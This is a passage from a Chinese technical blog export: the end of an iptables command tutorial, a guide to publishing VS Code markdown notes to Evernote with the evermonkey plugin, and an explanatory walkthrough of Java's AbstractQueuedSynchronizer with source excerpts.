11systemctl disable firewalld 12#启动 iptables 13systemctl start iptables 14#将 iptables 设置为开机自动启动，以后即可通过 iptables-service 控制 iptables 服务 15systemctl enable iptables 16 17上述配置过程只需一次，以后即可在 centos7 中愉快的使用 service iptables save 命令保存 iptables 规则了 匹配条件 基本匹配条件 -s 用于匹配报文的源地址，可以同时指定多个源地址，每个 IP 之间用逗号隔开，也可以指定为一个网段。 1#示例如下 2iptables -t filter -I INPUT -s 192.168.1.111,192.168.1.118 -j DROP 3iptables -t filter -I INPUT -s 192.168.1.0/24 -j ACCEPT 4iptables -t filter -I INPUT ! -s 192.168.1.0/24 -j ACCEPT -d 用于匹配报文的目标地址，可以同时指定多个目标地址，每个 IP 之间用逗号隔开，也可以指定为一个网段。 1#示例如下 2iptables -t filter -I OUTPUT -d 192.168.1.111,192.168.1.118 -j DROP 3iptables -t filter -I INPUT -d 192.168.1.0/24 -j ACCEPT 4iptables -t filter -I INPUT ! -d 192.168.1.0/24 -j ACCEPT -p 用于匹配报文的协议类型，可以匹配的协议类型 tcp、udp、udplite、icmp、esp、ah、sctp 等（centos7 中还支持 icmpv6、mh）。 1#示例如下 2iptables -t filter -I INPUT -p tcp -s 192.168.1.146 -j ACCEPT 3iptables -t filter -I INPUT ! -p udp -s 192.168.1.146 -j ACCEPT -i 用于匹配报文是从哪个网卡接口流入本机的，由于匹配条件只是用于匹配报文流入的网卡，所以在 OUTPUT 链与 POSTROUTING 链中不能使用此选项。 1#示例如下 2iptables -t filter -I INPUT -p icmp -i eth4 -j DROP 3iptables -t filter -I INPUT -p icmp ! -i eth4 -j DROP -o 用于匹配报文将要从哪个网卡接口流出本机，于匹配条件只是用于匹配报文流出的网卡，所以在 INPUT 链与 PREROUTING 链中不能使用此选项。 1#示例如下 2iptables -t filter -I OUTPUT -p icmp -o eth4 -j DROP 3iptables -t filter -I OUTPUT -p icmp ! -o eth4 -j DROP 扩展匹配条件 tcp 扩展模块\n常用的扩展匹配条件如下：\n-p tcp -m tcp –sport 用于匹配 tcp 协议报文的源端口，可以使用冒号指定一个连续的端口范围 -p tcp -m tcp –dport 用于匹配 tcp 协议报文的目标端口，可以使用冒号指定一个连续的端口范围 1#示例如下 2iptables -t filter -I OUTPUT -d 192.168.1.146 -p tcp -m tcp --sport 22 -j REJECT 3iptables -t filter -I INPUT -s 192.168.1.146 -p tcp -m tcp --dport 22:25 -j REJECT 4iptables -t filter -I INPUT -s 192.168.1.146 -p tcp -m tcp --dport :22 -j REJECT 5iptables -t filter -I INPUT -s 192.168.1.146 -p tcp -m tcp --dport 80: -j REJECT 6iptables -t filter -I OUTPUT -d 192.168.1.146 -p tcp -m tcp ! --sport 22 -j ACCEPT –tcp-flags 用于匹配报文的 tcp 头的标志位 –syn 用于匹配 tcp 新建连接的请求报文，相当于使用”–tcp-flags SYN,RST,ACK,FIN SYN” 1#示例 2iptables -t filter -I INPUT -p tcp -m tcp --dport 22 --tcp-flags SYN,ACK,FIN,RST,URG,PSH SYN -j REJECT 3iptables -t filter -I OUTPUT -p tcp -m tcp --sport 22 --tcp-flags SYN,ACK,FIN,RST,URG,PSH SYN,ACK -j REJECT 4iptables -t filter -I INPUT -p tcp -m tcp --dport 22 --tcp-flags ALL SYN -j REJECT 5iptables -t filter -I OUTPUT -p tcp -m tcp --sport 22 --tcp-flags ALL SYN,ACK -j REJECT 6#示例 7iptables -t filter -I INPUT -p tcp -m tcp --dport 22 --syn -j REJECT udp 扩展 常用的扩展匹配条件\n–sport：匹配 udp 报文的源地址 –dport：匹配 udp 报文的目标地址 1#示例 2iptables -t filter -I INPUT -p udp -m udp --dport 137 -j ACCEPT 3iptables -t filter -I INPUT -p udp -m udp --dport 137:157 -j ACCEPT 4#可以结合 multiport 模块指定多个离散的端口 icmp 扩展 常用的扩展匹配条件\n–icmp-type：匹配 icmp 报文的具体类型 1#示例 2iptables -t filter -I INPUT -p icmp -m icmp --icmp-type 8/0 -j REJECT 3iptables -t filter -I INPUT -p icmp --icmp-type 8 -j REJECT 4iptables -t filter -I OUTPUT -p icmp -m icmp --icmp-type 0/0 -j REJECT 5iptables -t filter -I OUTPUT -p icmp --icmp-type 0 -j REJECT 6iptables -t filter -I INPUT -p icmp --icmp-type \u0026#34;echo-request\u0026#34; -j REJECT multiport 扩展模块 常用的扩展匹配条件如下：\n-p tcp -m multiport –sports 用于匹配报文的源端口，可以指定离散的多个端口号，端口之间用”逗号”隔开 -p udp -m multiport –dports 用于匹配报文的目标端口，可以指定离散的多个端口号，端口之间用”逗号”隔开 1#示例如下 2iptables -t filter -I OUTPUT -d 192.168.1.146 -p udp -m multiport --sports 137,138 -j REJECT 3iptables -t filter -I INPUT -s 192.168.1.146 -p tcp -m multiport --dports 22,80 -j REJECT 4iptables -t filter -I INPUT -s 192.168.1.146 -p tcp -m multiport ! --dports 22,80 -j REJECT 5iptables -t filter -I INPUT -s 192.168.1.146 -p tcp -m multiport --dports 80:88 -j REJECT 6iptables -t filter -I INPUT -s 192.168.1.146 -p tcp -m multiport --dports 22,80:88 -j REJECT 常用扩展模块 iprange 模块 包含的扩展匹配条件如下\n\u0026ndash;src-range：指定连续的源地址范围 \u0026ndash;dst-range：指定连续的目标地址范围 1#示例 2iptables -t filter -I INPUT -m iprange --src-range 192.168.1.127-192.168.1.146 -j DROP 3iptables -t filter -I OUTPUT -m iprange --dst-range 192.168.1.127-192.168.1.146 -j DROP 4iptables -t filter -I INPUT -m iprange ! --src-range 192.168.1.127-192.168.1.146 -j DROP string 模块 常用扩展匹配条件如下\n\u0026ndash;algo：指定对应的匹配算法，可用算法为 bm、kmp，此选项为必需选项。 \u0026ndash;string：指定需要匹配的字符串 1#示例 2iptables -t filter -I INPUT -p tcp --sport 80 -m string --algo bm --string \u0026#34;OOXX\u0026#34; -j REJECT time 模块 常用扩展匹配条件如下\n–-timestart：用于指定时间范围的开始时间，不可取反\n–-timestop：用于指定时间范围的结束时间，不可取反\n–-weekdays：用于指定”星期几”，可取反\n–-monthdays：用于指定”几号”，可取反\n–-datestart：用于指定日期范围的开始日期，不可取反\n–-datestop：用于指定日期范围的结束时间，不可取反\n1#示例 2iptables -t filter -I OUTPUT -p tcp --dport 80 -m time --timestart 09:00:00 --timestop 19:00:00 -j REJECT 3iptables -t filter -I OUTPUT -p tcp --dport 443 -m time --timestart 09:00:00 --timestop 19:00:00 -j REJECT 4iptables -t filter -I OUTPUT -p tcp --dport 80 -m time --weekdays 6,7 -j REJECT 5iptables -t filter -I OUTPUT -p tcp --dport 80 -m time --monthdays 22,23 -j REJECT 6iptables -t filter -I OUTPUT -p tcp --dport 80 -m time ! --monthdays 22,23 -j REJECT 7iptables -t filter -I OUTPUT -p tcp --dport 80 -m time --timestart 09:00:00 --timestop 18:00:00 --weekdays 6,7 -j REJECT 8iptables -t filter -I OUTPUT -p tcp --dport 80 -m time --weekdays 5 --monthdays 22,23,24,25,26,27,28 -j REJECT 9iptables -t filter -I OUTPUT -p tcp --dport 80 -m time --datestart 2017-12-24 --datestop 2017-12-27 -j REJECT connlimit 模块 常用的扩展匹配条件如下\n–-connlimit-above：单独使用此选项时，表示限制每个 IP 的链接数量。 –-connlimit-mask：此选项不能单独使用，在使用–connlimit-above 选项时，配合此选项，则可以针对”某类 IP 段内的一定数量的 IP” 进行连接数量的限制。 1#示例 2iptables -I INPUT -p tcp --dport 22 -m connlimit --connlimit-above 2 -j REJECT 3iptables -I INPUT -p tcp --dport 22 -m connlimit --connlimit-above 20 --connlimit-mask 24 -j REJECT 4iptables -I INPUT -p tcp --dport 22 -m connlimit --connlimit-above 10 --connlimit-mask 27 -j REJECT limit 模块 常用的扩展匹配条件如下\n–-limit-burst：类比”令牌桶”算法，此选项用于指定令牌桶中令牌的最大数量，上文中已经详细的描述了”令牌桶”的概念，方便回顾。 –-limit：类比”令牌桶”算法，此选项用于指定令牌桶中生成新令牌的频率，可用时间单位有 second、minute 、hour、day。 1#示例 #注意，如下两条规则需配合使用，具体原因上文已经解释过，忘记了可以回顾。 2iptables -t filter -I INPUT -p icmp -m limit --limit-burst 3 --limit 10/minute -j ACCEPT 3iptables -t filter -A INPUT -p icmp -j REJECT 自定义链 创建自定义链\n1#示例：在filter表中创建IN_WEB自定义链 2iptables -t filter -N IN_WEB 引用自定义链\n1#示例：在INPUT链中引用刚才创建的自定义链 2iptables -t filter -I INPUT -p tcp --dport 80 -j IN_WEB 重命名自定义链\n1#示例：将IN_WEB自定义链重命名为WEB 2iptables -E IN_WEB WEB 删除自定义链\n删除自定义链需要满足两个条件\n自定义链没有被引用 自定义链中没有任何规则 1#示例：删除引用计数为0并且不包含任何规则的WEB链 2iptables -X WEB 参考 https://www.zsythink.net/ ","date":"2021-11-02T06:05:38Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-02-iptables-chang-yong-ming-ling/cover.jpg","permalink":"/p/2021-11-02-iptables-chang-yong-ming-ling/","title":"iptables 常用命令"},{"content":"在 VsCode 中安装 evermonkey 插件 在 VsCode 中找到 evermonkey 插件，安装\ncommand + shift + p ，输入 ever token。显示 “open developer page to get API token”，选择它。\n会让你选择 china 和 international 两个选择，选择 china. 接着会打开默认浏览器的一个界面。\n先生成你自己的 token, 然后回到 VsCode 打开设置找到如下图的设置，把刚才生成好的内容填写进去。\n到这里一般就好了，不过谨慎起见还是重启一下 Vscode.\n使用插件 command + shift + p 后输入 ever new 就可以创建一个文件，文件格式如下：\n--- title: tags: notebook: --- 这是文件头，即给 evernote 做的笔记标识：标题、tag、笔记本。后面的就是你的 markdown 笔记内容了。\n写完内容后，command + shift + p 后输入 ever publish 就可以发布到 evernote 了。\n命令列表 还有上面没介绍过的，这里列举一下。\n使用 新建笔记 \u0026ndash; ever new打开命令面板 (F1 或者 ctrl + shift +p), 输入 ever new 即可新建一个空白笔记，文档顶部是笔记元数据，包括笔记的标题，标签，所属笔记本等（不支持分级）。当输入笔记本和标签时，如果是已经存在的，则会有代码补全提示，否则将会在印象笔记中新建。标签需要用半角逗号分隔。\n打开笔记 \u0026ndash; ever open打开命令面板，输入 ever open 即可以树形结构打开印象笔记。打开后，默认会将笔记的内容转换为 markdown 格式，如果有不支持的媒体格式，那么转换后可能会影响笔记的内容。因此建议使用小猿完成纯文本编辑操作。\n搜索笔记 \u0026ndash; ever search打开命令面板，输入 ever search 会弹出输入框，根据输入的搜索条件返回笔记。返回的形式是 notebook\u0026raquo;note, 搜索使用的是印象笔记官方的搜索语言，比如 tag:java 等。更多使用方法可以查看官方文档 Evernote Search Grammar\n发布笔记 \u0026ndash; ever publish当编辑或者更新笔记后，可以使用 ever publish 命令将笔记发布到印象笔记服务器上，实现笔记的同步。小猿会根据缓存信息判断是需要新建还是更新笔记，因此这部分在使用上你不必多考虑是该更新还是新建笔记，只要记住当你想同步当前笔记内容到印象笔记服务器上时，就可以使用 ever publish 了。\n总结 一般情况下我的流程是利用 VsCode + markdown 写内容，然后利用 evermonkey 插件将内容同步到 evernote 上。\n这里有一个问题，就是从 VsCode 同步过去的文章是只读的，在 evernote 那端不能改写 不过这样也有个好处，就是我们一定会保存本地 markdown 原文件，不依赖于 evernote 的网络存储，evernote 只做查阅，这样对数据安全是最大的保证。\n参考 https://www.ucloud.cn/yun/82329.html ","date":"2021-10-30T11:13:19Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-10-30-ru-he-li-yong-vscode-evernote-markdown-jiang-zi-ji-de-bo-ke-/cover.jpg","permalink":"/p/2021-10-30-ru-he-li-yong-vscode-evernote-markdown-jiang-zi-ji-de-bo-ke/","title":"如何利用 VsCode + evernote + markdown 将自己的博客自动同步成笔记"},{"content":"背景 早前写过一篇深入理解 AQS 的文章\n彻底搞懂AQS\n过了一段时间后，我发现有些地方记得不清楚了，而且之前写的也不好，所以我感觉其实理解的并不深入透彻，于是决定再好好找资料看一看，把之前一知半解的地方彻底弄清楚！\n看文档 先看下源码， AbstractQueuedSynchronizer 这个类有代码+注释共有 2335 行，可以说很长，我们先看第一手资料即源码注释是怎么写的，通过 AbstractQueuedSynchronizer 类的注释提纲挈领地了解一下这个类。\n类注释 这里就不贴英文原文了，比较长，直接上翻译内容：\n本类提供了一个用于实现阻塞锁和同步器（信号量、事件等）的框架，该框架依赖先进先出 (FIFO) 的等待队列来实现。它为大多数通过单个 int 类型的原子值来表示状态的同步器提供了实现基础。子类必须重写更改同步器状态的 protected 方法，并定义该状态在获取或释放子类对象方面的具体含义。基于此，此类中的其他方法实现所有排队和阻塞机制。子类可以维护其他状态字段，但就同步而言，只有使用了方法 getState、 setState 和 compareAndSetState 操作以原子方式更新的 int 值才能够被跟踪。\n子类应定义为非公共内部辅助类，用于实现其外部类的同步属性。AbstractQueuedSynchronizer 类没有实现任何同步接口。相反，它定义了诸如 acquireInterruptably 之类的方法，这些方法可以由具体锁和相关同步器适当调用以实现它们的公共方法。\n此类默认支持独占模式和共享模式获取同步状态。当以独占模式获取同步状态时，其他线程尝试获取不会成功。共享模式下，多个线程获取同步状态一般（但不一定）会成功。这个类会忽略这两种模式在机制上的差异，那就是当线程在共享模式下成功获取到同步状态时，下一个等待的线程（如果存在）也必须确定它是否也可以获取该状态。\n不同模式下的等待线程共享一个 FIFO 队列。\n通常子类只实现一种模式，但两者可以同时工作，例如 ReadWriteLock。只支持一种模式的子类，无需再为另一种模式定义方法。\nAQS 定义了一个内部类 ConditionObject，可以当做 Condition 的实例供支持独占模式的子类使用。在独占模式下，方法 #isHeldExclusively 用于表示当前线程是否在独占子类对象，以方法#getState 的返回值为入参，调用方法#release 可以完全释放子类对象。使用这个值调用#acquire 方法，最终恢复到前一个获取锁的状态。AbstractQueuedSynchronizer 中没有其他方法创建这个条件，所以如果不能满足这个约束，就不要使用它。AbstractQueuedSynchronizer.ConditionObject 的行为当然是基于它的实现类的语义。\n该类为内部类提供了 检查/仪表化/监视 方法，以及类似的用于 condition 对象的方法。这些可以导出到使用 AbstractQueuedSynchronizer 作为同步机制的类中。该类的序列化仅仅存储原子整数的维护状态，所以反序列化对象得到的线程队列是空的。子类若需要序列化，要定义 readObject() 用于恢复自己到一个已知的初始状态。\n用法：\n若将该类用作同步器的基础，请使用 getState()/setState()/cas 这些用于检查或修改同步状态的方法对下面的方法进行重新定义：\ntryAcquire tryRelease tryAcquireShared tryReleaseShared isHeldExclusively 这些方法默认抛出 UnsupportedOperationException, 这些方法内部必须保证线程安全，并且通常应该是简短且无锁的。定义这些方法是使用该类的意义所在。其他方法因为不能独立的变化，所以声明为 final。\n你也能看到继承自 AbstractOwnableSynchronizer 的方法，用于跟踪那些独占了同步器的线程。鼓励你使用这些方法，它们开启了监视和诊断功能，可以帮助用户判断那些线程持有锁。\n即使该类基于内部 FIFO 队列，但也不会执行默认的 FIFO 策略，独占同步的核心使用以下策略：\n1Acquire: 2 while (!tryAcquire(arg)) { 3 enqueue thread if it is not already queued; 4 possibly block current thread; 5 } 6 7 Release: 8 if (tryRelease(arg)) 9 unblock the first queued thread; （共享模式类似，但可能涉及级联信号。)\n因为对获取锁的检查是在入队之前进行，所以一个新线程可能会插入到其他已经入队的线程之前。不管咋地吧，你要是愿意，可以通过调用内部的一个或多个检查方法去定义 tryAcquire() / tryAcquireShared() 方法，从而提供一个公平的 FIFO 获取顺序。特别是，大多数公平同步器在 hasQueuedPredecessors()（这是一个专门设计用于公平同步器的）返回 true 的时候，让 tryAcquire() 返回 false. 当然，其他方法也有可能。\n对于默认的插队策略（也叫 greedy/renouncement/convoy-avoidance), 吞吐量和可伸缩性通常最高。尽管这不能保证公平，但允许早入队的线程在后来的线程之前重新竞争，每个重新竞争的线程拥有公平的机会打败新来的线程。尽管获取行为通常不会一直进行，但线程在被阻塞之前，伴随着其他计算过程，他们可能会多次调用 tryAcquire(). 当独占同步器只是短暂的被持有时，这对于自旋来说很有好处，没有太多负担。你可以通过前面的调用增强这一点，以获得带有\u0026quot;fast-path\u0026quot;的方法。如果同步器可能没有被争夺，或许只会预先检查 hasContended() 和 hasQueuedThreads()。\n这个类为同步提供了有效的可扩展的基础，部分原因是把范围集中在那些依赖数字状态、 获取/释放参数、 以及内部 FIFO 的同步器上。当这些不能满足需要时，你可以使用原子类、 你自己的 java.util.Queue 类、 LockSuppor 来构建更底层的同步器。\n用法示例：\n这是一个不可重入互斥锁，0 表示打开，1 表示锁定。虽然不可重入锁无需严格记录本地拥有者的线程，但这个类还是这么做了，以便更容易监视。同时也支持 conditions 并且公开了一个检测方法。\n1class Mutex implements Lock, java.io.Serializable { 2 3 // Our internal helper class 4 private static class Sync extends AbstractQueuedSynchronizer { 5 // Acquires the lock if state is zero 6 public boolean tryAcquire(int acquires) { 7 assert acquires == 1; // Otherwise unused 8 if (compareAndSetState(0, 1)) { 9 setExclusiveOwnerThread(Thread.currentThread()); 10 return true; 11 } 12 return false; 13 } 14 15 // Releases the lock by setting state to zero 16 protected boolean tryRelease(int releases) { 17 assert releases == 1; // Otherwise unused 18 if (!isHeldExclusively()) 19 throw new IllegalMonitorStateException(); 20 setExclusiveOwnerThread(null); 21 setState(0); 22 return true; 23 } 24 25 // Reports whether in locked state 26 public boolean isLocked() { 27 return getState() != 0; 28 } 29 30 public boolean isHeldExclusively() { 31 // a data race, but safe due to out-of-thin-air guarantees 32 return getExclusiveOwnerThread() == Thread.currentThread(); 33 } 34 35 // Provides a Condition 36 public Condition newCondition() { 37 return new ConditionObject(); 38 } 39 40 // Deserializes properly 41 private void readObject(ObjectInputStream s) 42 throws IOException, ClassNotFoundException { 43 s.defaultReadObject(); 44 setState(0); // reset to unlocked state 45 } 46 } 47 48 // The sync object does all the hard work. We just forward to it. 49 private final Sync sync = new Sync(); 50 51 public void lock() { 52 sync.acquire(1); 53 } 54 55 public boolean tryLock() { 56 return sync.tryAcquire(1); 57 } 58 59 public void unlock() { 60 sync.release(1); 61 } 62 63 public Condition newCondition() { 64 return sync.newCondition(); 65 } 66 67 public boolean isLocked() { 68 return sync.isLocked(); 69 } 70 71 public boolean isHeldByCurrentThread() { 72 return sync.isHeldExclusively(); 73 } 74 75 public boolean hasQueuedThreads() { 76 return sync.hasQueuedThreads(); 77 } 78 79 public void lockInterruptibly() throws InterruptedException { 80 sync.acquireInterruptibly(1); 81 } 82 83 public boolean tryLock(long timeout, TimeUnit unit) 84 throws InterruptedException { 85 return sync.tryAcquireNanos(1, unit.toNanos(timeout)); 86 } 87} 这是一个类似于 java.util.concurrent.CountDownLatch CountDownLatch 的闩锁类，只是它只需要一个信号即可触发。因为锁存器是非独占的，所以它使用共享的获取和释放方法。\n1 2class BooleanLatch { 3 4 private static class Sync extends AbstractQueuedSynchronizer { 5 boolean isSignalled() { 6 return getState() != 0; 7 } 8 9 protected int tryAcquireShared(int ignore) { 10 return isSignalled() ? 1 : -1; 11 } 12 13 protected boolean tryReleaseShared(int ignore) { 14 setState(1); 15 return true; 16 } 17 } 18 19 private final Sync sync = new Sync(); 20 21 public boolean isSignalled() { 22 return sync.isSignalled(); 23 } 24 25 public void signal() { 26 sync.releaseShared(1); 27 } 28 29 public void await() throws InterruptedException { 30 sync.acquireSharedInterruptibly(1); 31 } 32} 如果对上面的翻译理解起来还是费劲，那还放那儿，等看完下面的，再回到上面看一遍就通透了。\n看设计 AQS 本质上是一个 FIFO 的双向队列，线程被包装成结点的形式，基于自旋机制在队列中等待获取资源（这里的资源可以简单理解为对象锁）\n总揽一下这个类，可以看到有两个内部类，剩下的就是一堆成员变量和成员方法。\n设计思路 这是 AQS 的模型：\nAQS 主要由三部分组成，state 同步状态、Node 组成的 CLH 队列、ConditionObject 条件变量（包含 Node 组成的条件单向队列）。\nstate 用 volatile 来修饰，保证了我们操作的可见性，所以任何线程通过 getState() 获得状态都是可以得到最新值，但是 setState() 无法保证原子性，因此 AQS 给我们提供了 compareAndSetState 方法利用底层 UnSafe 的 CAS 功能来实现原子性。\n对于 AQS 来说，线程同步的关键是对 state 的操作，可以说获取、释放资源是否成功都是由 state 决定的，比如 state\u0026gt;0 代表可获取资源，否则无法获取，所以 state 的具体语义由实现者去定义，现有的 ReentrantLock、ReentrantReadWriteLock、Semaphore、CountDownLatch 定义的 state 语义都不一样。\nReentrantLock 的 state 用来表示是否有锁资源，变量记录了锁的重入次数 ReentrantReadWriteLock 的 state 高 16 位代表读锁状态，低 16 位代表写锁状态 Semaphore 的 state 用来表示可用信号的个数 CountDownLatch 的 state 用来表示计数器的值 AQS 实现了两类队列，即 同步队列 和 条件队列。\n同步队列服务于线程阻塞等待获取资源，而条件队列则服务于线程因某个条件不满足而进入等待状态。条件队列中的线程实际上已经获取到了资源，但是没有能够继续执行下去的条件，所以被打入条件队列并释放持有的资源，以让渡其它线程执行，如果未来某个时刻条件得以满足，则该线程会被从条件队列转移到同步队列，继续参与竞争资源，以继续向下执行。\n同步队列 CLH 同步队列是基于链表实现的双向队列，也是 CLH 锁的变种。CLH 锁是 AQS 队列同步器实现的基础。\n来看一下 CLH 队列\nCLH 锁是有由 Craig, Landin, and Hagersten 这三个人发明的锁，取了三个人名字的首字母，所以叫 CLH Lock。 CLH 锁是一个自旋锁。能确保无饥饿性。提供先来先服务的公平性。 CLH 队列锁也是一种基于链表的可扩展、高性能、公平的自旋锁，申请线程仅仅在本地变量上自旋，它不断轮询前驱的状态，假设发现前驱释放了锁就结束自旋。 Node AQS 以内部类 Node 的形式定义了同步队列结点。这就是前文看到的第一个内部类。\n1static final class Node { 2 3 /** 模式定义 */ 4 5 static final Node SHARED = new Node(); 6 static final Node EXCLUSIVE = null; 7 8 /** 线程状态 */ 9 10 static final int CANCELLED = 1; 11 static final int SIGNAL = -1; 12 static final int CONDITION = -2; 13 static final int PROPAGATE = -3; 14 15 /** 线程等待状态 */ 16 volatile int waitStatus; 17 18 /** 前驱结点 */ 19 volatile Node prev; 20 /** 后置结点 */ 21 volatile Node next; 22 23 /** 持有的线程对象 */ 24 volatile Thread thread; 25 26 /** 对于独占模式而言，指向下一个处于 CONDITION 等待状态的结点；对于共享模式而言，则为 SHARED 结点 */ 27 Node nextWaiter; 28 29 // ... 省略方法定义 30} Node 在 CLH 的基础上进行了变种。CLH 是单向队列，其主要特点是自旋检查前驱节点的 locked 状态。而 AQS 同步队列是双向队列，每个节点也有状态 waitStatus，而其并不是一直对前驱节点的状态自旋判断，而是自旋一段时间后阻塞让出 cpu 时间片（上下文切换），等待前驱节点主动唤醒后继节点。\nwaitStatus 有如下 5 中状态：\nCANCELLED = 1 表示当前结点已取消调度。当超时或被中断（响应中断的情况下），会触发变更为此状态，进入该状态后的结点将不会再变化。 SIGNAL = -1 表示后继结点在等待当前结点唤醒。后继结点入队时，会将前继结点的状态更新为 SIGNAL。 CONDITION = -2 表示结点等待在 Condition 上，当其他线程调用了 Condition 的 signal() 方法后，CONDITION 状态的结点将从等待队列转移到同步队列中，等待获取同步锁。 PROPAGATE = -3 共享模式下，前继结点不仅会唤醒其后继结点，同时也可能会唤醒后继的后继结点。 INITIAL = 0 新结点入队时的默认状态。 从上面的代码中可以看出，位于 CLH 链表中的线程以 2 种模式在等待资源，即 SHARED 和 EXCLUSIVE，其中 SHARED 表示共享模式，而 EXCLUSIVE 表示独占模式。共享模式与独占模式的主要区别在于，同一时刻独占模式只能有一个线程获取到资源，而共享模式在同一时刻可以有多个线程获取到资源。典型的场景就是读写锁，读操作可以有多个线程同时获取到读锁资源，而写操作同一时刻只能有一个线程获取到写锁资源，其它线程在尝试获取资源时都会被阻塞。\n同步队列主要行为 AQS 类成员变量 head 和 tail 字段分别指向同步队列的头结点和尾结点：\n1 2 /** 3 * Head of the wait queue, lazily initialized. Except for 4 * initialization, it is modified only via method setHead. Note: 5 * If head exists, its waitStatus is guaranteed not to be 6 * CANCELLED. 7 */ 8 private transient volatile Node head; 9 10 /** 11 * Tail of the wait queue, lazily initialized. Modified only via 12 * method enq to add new wait node. 13 */ 14 private transient volatile Node tail; 其中 head 表示同步队列的头结点，而 tail 则表示同步队列的尾结点，具体组织形式如下图：\n当调用 AQS 的 acquire 方法获取资源时，如果资源不足则当前线程会被封装成 Node 结点添加到同步队列的末端（入队），头结点 head 用于记录当前正在持有资源的线程结点，而 head 的后继结点就是下一个将要被调度的线程结点，当 release 方法被调用时，该结点上的线程将被唤醒（出队），继续获取资源。\n同步队列的主要行为是 ：入队、出队\n入队\n获取资源失败的线程需要封装成 Node 节点，接着尾部入队，在 AQS 中提供 addWaiter 函数完成 Node 节点的创建与入队。添加节点的时候，如 CLH 队列已经存在，通过 CAS 快速将当前节点添加到队列尾部，如果添加失败或队列不存在，则初始化同步队列。\n1/** 2 * Creates and enqueues node for current thread and given mode. 3 * 4 * @param mode Node.EXCLUSIVE for exclusive, Node.SHARED for shared 5 * @return the new node 6 */ 7private Node addWaiter(Node mode) { 8 Node node = new Node(mode); 9 10 for (;;) { 11 Node oldTail = tail; 12 if (oldTail != null) { 13 node.setPrevRelaxed(oldTail); 14 if (compareAndSetTail(oldTail, node)) { 15 oldTail.next = node; 16 return node; 17 } 18 } else { 19 initializeSyncQueue(); 20 } 21 } 22} 总结：入队列，线程获取锁失败，入队列将新节点加到 tail 后面，然后对 tail 进行 CAS 操作，将 tail 指针后移到新节点上。\n出队\nCLH 队列中的节点都是获取资源失败的线程节点，当持有资源的线程释放资源时，会将 head.next 指向的线程节点唤醒（C L H 队列的第二个节点），如果唤醒的线程节点获取资源成功，线程节点清空信息设置为头部节点（新哨兵节点），原头部节点出队（原哨兵节点）\n1 2 protected final boolean tryRelease(int releases) { 3 int c = getState() - releases; 4 if (Thread.currentThread() != getExclusiveOwnerThread()) 5 throw new IllegalMonitorStateException(); 6 boolean free = false; 7 if (c == 0) { // 如果 state=0 了，就是可以释放锁了 8 free = true; 9 setExclusiveOwnerThread(null); // 将拿锁线程置为 null 10 } 11 setState(c); // 重置同步器的 state 12 return free; // 返回是否成功释放 13 } 14 15 private void unparkSuccessor(Node node) { 16 // node 节点是当前释放锁的节点，也是同步队列的头节点 17 int ws = node.waitStatus; 18 // 如果节点已经被取消了，把节点的状态置为初始化 19 if (ws \u0026lt; 0) 20 compareAndSetWaitStatus(node, ws, 0); 21 22 // 拿出队二 s 23 Node s = node.next; 24 // s 为空，表示 node 的后一个节点为空 25 // s.waitStatus 大于 0，代表 s 节点已经被取消了 26 // 遇到以上这两种情况，就从队尾开始，向前遍历，找到第一个 waitStatus 字段不是被取消的 27 if (s == null || s.waitStatus \u0026gt; 0) { 28 s = null; 29 30 // 结束条件是前置节点就是 head 了 31 for (Node t = tail; t != null \u0026amp;\u0026amp; t != node; t = t.prev) 32 // t.waitStatus \u0026lt;= 0 说明 t 当前没有被取消，肯定还在等待被唤醒 33 if (t.waitStatus \u0026lt;= 0) 34 s = t; 35 } 36 // 唤醒以上代码找到的线程 37 if (s != null) 38 LockSupport.unpark(s.thread); 39} 当线程被唤醒后，又继续执行 acquireQueued 方法，进入循环\n1 /** 2 * Acquires in exclusive uninterruptible mode for thread already in 3 * queue. Used by condition wait methods as well as acquire. 4 * 5 * @param node the node 6 * @param arg the acquire argument 7 * @return {@code true} if interrupted while waiting 8 */ 9final boolean acquireQueued(final Node node, int arg) { 10 boolean interrupted = false; 11 try { 12 for (;;) { 13 //获取前驱节点 14 final Node p = node.predecessor(); 15 //如果前驱节点是首节点，获取资源（子类实现） 16 if (p == head \u0026amp;\u0026amp; tryAcquire(arg)) { 17 //获取资源成功，设置当前节点为头节点，清空当前节点的信息，把当前节点变成哨兵节点 18 setHead(node); 19 //原来首节点下个节点指向为 null 20 p.next = null; // help GC 21 //返回线程中断状态 22 return interrupted; 23 } 24 if (shouldParkAfterFailedAcquire(p, node)) 25 interrupted |= parkAndCheckInterrupt(); 26 } 27 } catch (Throwable t) { 28 cancelAcquire(node); 29 if (interrupted) 30 selfInterrupt(); 31 throw t; 32 } 33} 总结：出队列，锁释放唤醒 head 的后继节点，head 的后继节点从阻塞中醒来，开始抢锁，获取锁成功，此时 head 指针向后移一个位置，原先 head 的后继节点成为新的 head。\n最后是一个 同步队列的流程概述\n条件队列 一个 AQS 可以对应多个条件变量\nConditionObject 内部维护着一个单向条件队列，不同于 CLH 队列，条件队列只入队执行 await 的线程节点，并且加入条件队列的节点，不能在 CLH 队列， 条件队列出队的节点，会入队到 CLH 队列。\n当某个线程执行了 ConditionObject 的 await 函数，阻塞当前线程，线程会被封装成 Node 节点添加到条件队列的末端，其他线程执行 ConditionObject 的 signal 函数，会将条件队列头部线程节点转移到 CLH 队列参与竞争资源，具体流程如下图：\n一个 Condition 对象就有一个单项的等待任务队列。在一个多线程任务中我们可以 new 出多个等待任务队列。比如我们 new 出来两个等待队列。\n1 private Lock lock = new ReentrantLock(); 2 private Condition FirstCond = lock.newCondition(); 3 private Condition SecondCond = lock.newCondition(); 所以真正的 AQS 任务中一般是一个任务队列 N 个等待队列的，因此我们尽量调用 signal 而少用 signalAll，因为在指定的实例化等待队列中只有一个可以拿到锁的。\n设计模式 从设计模式的角度讲，AbstractQueuedSynchronizer 是个抽象类，所有用到方法的类都要继承此类的若干方法，对应的设计模式就是模版模式。这样就解决了实现同步器时涉及的大量细节问题，能够极大地减少实现工作。\n若干方法就是上文注释翻译中描述的这些方法：\ntryAcquire tryRelease tryAcquireShared tryReleaseShared isHeldExclusively 说明一下各个方法的作用：\ntryAcquire ：尝试以独占模式获取资源，如果获取成功则返回 true，否则返回 false。 tryRelease ：尝试以独占模式释放资源，如果释放成功则返回 true，否则返回 false。 tryAcquireShared ：尝试以共享模式获取资源，如果返回正数则说明获取成功，且还有可用的剩余资源；如果返回 0 则说明获取成功，但是没有可用的剩余资源；如果返回负数则说明获取资源失败。 tryReleaseShared ：尝试以共享模式释放资源，如果释放成功则返回 true，否则返回 false。 isHeldExclusively 